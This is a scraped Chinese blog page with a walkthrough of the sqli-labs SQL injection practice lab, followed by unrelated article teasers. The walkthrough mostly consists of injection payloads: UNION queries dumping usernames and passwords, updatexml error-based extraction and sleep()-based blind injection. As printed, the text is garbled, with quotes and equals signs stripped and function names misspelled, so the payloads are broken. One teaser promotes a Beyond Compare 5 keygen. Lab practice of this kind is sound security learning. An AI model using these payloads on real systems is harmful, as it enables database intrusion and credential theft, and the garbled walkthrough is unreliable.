【无标题】sqli-labs通关教程
第一关1.判断注入类型?id1 and 12 -- //不显示用户名 ?id1 and 12 -- //正常显示用户名 //所以第一关是字符型12生效则为字符型注入2.order by 判断行数?id1 order by 3 -- //正常显示 ?id1 order by 4 -- //报错 //所以user表是3列3判断回显位置位置?id-1 union select 1,2,3 -- //用union查询并且让前面的id-1报错。结果显示回显位置为234.注入获取数据可以用tables()得到表名?id-1 union select 1,2,group_concat(username , password) from users--第二关和第一关几乎一样只是第二关为数字型?id1 and 12 -- //正常显示用户名 ?id1 and 12 -- //不显示用户名 //所以第二关是数字型获取到数据第三关在url输入?id1和?id1在输入?id1时出现报错并且报错中有“ ) ”的提示。只能不断尝试最后发现闭合为 ?id1) and 12 --重复第一关order by 判断回显以及最后注入操作?id-1) union select 1,2,group_concat(username , password) from users--第四关第四关相较于第三关只是将 ‘ 改成了 “ 其他没有什么不同?id-1) union select 1,2,group_concat(username , password) from users--第五关输入?id1 ?id1 ?id1判断类型发现只有单引号’ 的结果不同所以是字符型单引号闭合?id1 and 12 //单引号闭合 ?id1 order by 4 //发现到第四行时报错所以时三列但是在判断回显时发现并没有回显但是在判断回显时发现并没有回显所以不再使用联合查询而是使用报错注入得到表名报错注入的函数主要用updatemxlextractvalue()在ASCII码表中0x7e这个十六进制数代表符号~~这个符号在xpath语法中是不存在的因此总能报错。?id1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemasecurity),1,32)),1)--最后得到数据第九关在判断时发现页面没有任何报错和反应我们使用sleep() 函数来判断试试?id1 and if(length((select database()))6,sleep(5),1)-- //页面延迟五秒刷新,说明数据库长度是大于6的,以此类推可以猜出数据库名长度可以用比较的方式来慢慢猜出表名字段长度和substr字段名的字符。?id1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))101,sleep(5),1)-- //页面延迟五秒刷新,说明表名第一个字母为e,以此类推可以猜出表名 ?id1 and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))10,sleep(5),1)-- //判断所有字段名长度用这种方法就可以慢慢得出我们想要的内容总结

相关新闻

【Python 虚拟环境 venv 创建与管理】

【Python 虚拟环境 venv 创建与管理】

文章目录Python 虚拟环境 venv 创建与管理 🐍什么是虚拟环境? 🤔创建虚拟环境 🛠️激活虚拟环境 ⚡在 Windows 上激活在 Unix/macOS 上激活管理依赖 📦安装包安装特定版本升级包卸载包生成需求文件虚拟环境工作流程示例…

2026/7/24 21:20:45阅读更多 →
融云:AI 客服越努力,用户越想找人工?

融云:AI 客服越努力,用户越想找人工?

只要跟任何一个智能客服对线过,相信你都能懂那种深深的无力感。不管面对什么情况,对面那个机械重复预制台词的智能客服轻轻松松就能毁掉我们的耐心。关键是,你已经忍无可忍了,它依然死板地绕着圈子且始终情绪稳定。这就是大部分智…

2026/7/24 21:18:44阅读更多 →
如何用AEUX将UI设计稿秒变动画:设计师与开发者协作新范式

如何用AEUX将UI设计稿秒变动画:设计师与开发者协作新范式

如何用AEUX将UI设计稿秒变动画:设计师与开发者协作新范式 【免费下载链接】AEUX Editable After Effects layers from Sketch artboards 项目地址: https://gitcode.com/gh_mirrors/ae/AEUX 对于UI设计师和动效制作团队而言,从Sketch或Figma设计稿…

2026/7/24 21:18:44阅读更多 →
每天60s读懂世界:2026年7月24日15条重点新闻深度解读

每天60s读懂世界:2026年7月24日15条重点新闻深度解读

🔥 个人主页: 杨利杰YJlio ❄️ 个人专栏: 《Windows 疑难杂症与工单复盘案例库》 《Sysinternals实战教程》 《WINDOWS教程》 《Windows PowerShell 实战》 《IOS插件分析测试》 《超简单:用Python让Excel飞起来》…

2026/7/24 22:36:57阅读更多 →
深度探索Beyond Compare 5密钥生成:从逆向工程到实战激活指南

深度探索Beyond Compare 5密钥生成:从逆向工程到实战激活指南

深度探索Beyond Compare 5密钥生成:从逆向工程到实战激活指南 【免费下载链接】BCompare_Keygen Keygen for BCompare 5 项目地址: https://gitcode.com/gh_mirrors/bc/BCompare_Keygen 还在为Beyond Compare 5的30天评估期限制而烦恼?这款被誉为…

2026/7/24 22:36:57阅读更多 →
start9 霍尔双相编码器

start9 霍尔双相编码器

一、编码器1.什么是编码器1.增量式编码器-“记步器”核心:只记录“相对变化量”(走了多少步)特点:断电后位置丢失,上电需回零。输出连续的脉冲串。2.绝对式编码器-“坐标尺”核心:直…

2026/7/24 22:36:57阅读更多 →
tech-summary.skill

tech-summary.skill

name: tech-summary description: | 对编程语言、框架、工具等做深度技术总结,输出结构化 Markdown 知识文档。 当用户请求"总结/梳理/整理"某技术知识点、准备技术面试、系统化学习某主题时使用; 简单问答、代码调试、单点概念解释不使用本技能。 disable-model-inv…

2026/7/24 22:36:57阅读更多 →
为什么 Hermes 上手容易,团队协作时却成了“Bug 制造机”?

为什么 Hermes 上手容易,团队协作时却成了“Bug 制造机”?

聊《Hermes真能提效吗?先看流程里最慢的那一步》之前,先说一句实在的:别急着背概念,先看它在真实项目里到底解决什么问题。摘要前两周,我带着团队里的几个初级开发试水了 Hermes。Demo 阶段确实惊艳:输入自…

2026/7/24 22:36:57阅读更多 →
技术解析:培训考试系统补考功能的架构设计与实操指南

技术解析:培训考试系统补考功能的架构设计与实操指南

对于企业 IT 运维人员、培训系统管理员而言,选择一款具备补考功能的培训考试系统,不仅要关注 “功能是否能用”,更要评估 “技术是否可靠”“集成是否便捷”“运维是否省心”。宏远培训考试系统的补考功能,基于微服务架构设计&…

2026/7/24 22:34:57阅读更多 →
Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/24 0:58:53阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/24 0:58:53阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/24 0:58:53阅读更多 →
我的编程之路:第一篇博客

我的编程之路:第一篇博客

大家好,我是一名编程初学者,同时这也是我编程学习之路上的第一篇博客。在这里,我想要向大家介绍我的一些想法和规划。a.自我介绍我是一个刚刚接触编程的新手,目前在学习c语言,我对编程世界充满了强烈的好奇。当然&…

2026/7/24 0:00:06阅读更多 →
【LeetCode 54】螺旋矩阵

【LeetCode 54】螺旋矩阵

问题描述: 解法: 1、模拟(参考自【LeetCode 54】螺旋矩阵-CSDN博客) int *spiralOrder(int **matrix, int matrixSize, int *matrixColSize, int *returnSize) {static const int dirs[4][2] {{0, 1}, {1, 0}, {0, -1}, {-1, …

2026/7/24 0:00:06阅读更多 →
2026 WAIC:模型隐身、智能体疯野,厂商竞赛聚焦办公场景与商业闭环

2026 WAIC:模型隐身、智能体疯野,厂商竞赛聚焦办公场景与商业闭环

知春路不相信模型领先今年WAIC大会,昔日AI六小龙来了五家,分别是Kimi、阶跃星辰、Minimax、百川智能、零一万物。连放弃基模的百川和零一万物都来了,唯一缺席的竟是近几个月来风光无限的智谱。(DeepSeek一直不参加)WAI…

2026/7/24 0:00:06阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/23 22:58:43阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/24 19:00:40阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/24 19:00:40阅读更多 →